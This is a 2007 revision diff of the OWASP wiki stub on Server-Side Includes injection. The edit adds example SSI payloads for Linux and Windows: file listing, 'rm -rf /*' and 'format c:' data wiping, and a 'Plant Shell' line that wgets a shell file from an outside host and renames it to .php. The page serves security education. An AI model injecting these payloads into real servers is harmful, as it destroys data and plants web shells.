Difference between revisions of "Server-Side Includes (SSI) Injection"

From OWASP
Jump to: navigation, search
(Description)
m (Examples)
Line 5: Line 5:
  
 
==Examples ==
 
==Examples ==
 +
'''Linux'''
 +
List Files - <!--#exec cmd="ls" -->
 +
Remove All - <!--#exec cmd="rm -rf /*" -->
 +
Navigate Directories - <!--#exec cmd="cd /root/dir/" -->
 +
Plant Shell - <!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" -->
 +
 +
'''Windows'''
 +
List Files - <!--#exec cmd="dir" -->
 +
Remove All - <!--#exec cmd="format c:" -->
 +
Navigate Directories - <!--#exec cmd="cd C:\admin\dir" -->
  
 
==Related Threats==
 
==Related Threats==

Revision as of 14:19, 29 April 2007

This is an Attack. To view all attacks, please see the Attack Category page.


Description

SSI can be injected in to input fields where code is echo'd out and attackers are able to execute commands.

Examples

Linux List Files - Remove All - Navigate Directories - Plant Shell -

Windows List Files - Remove All - Navigate Directories -

Related Threats

Related Attacks

Related Vulnerabilities

Related Countermeasures

Categories

This article is a stub. You can help OWASP by expanding it or discussing it on its Talk page.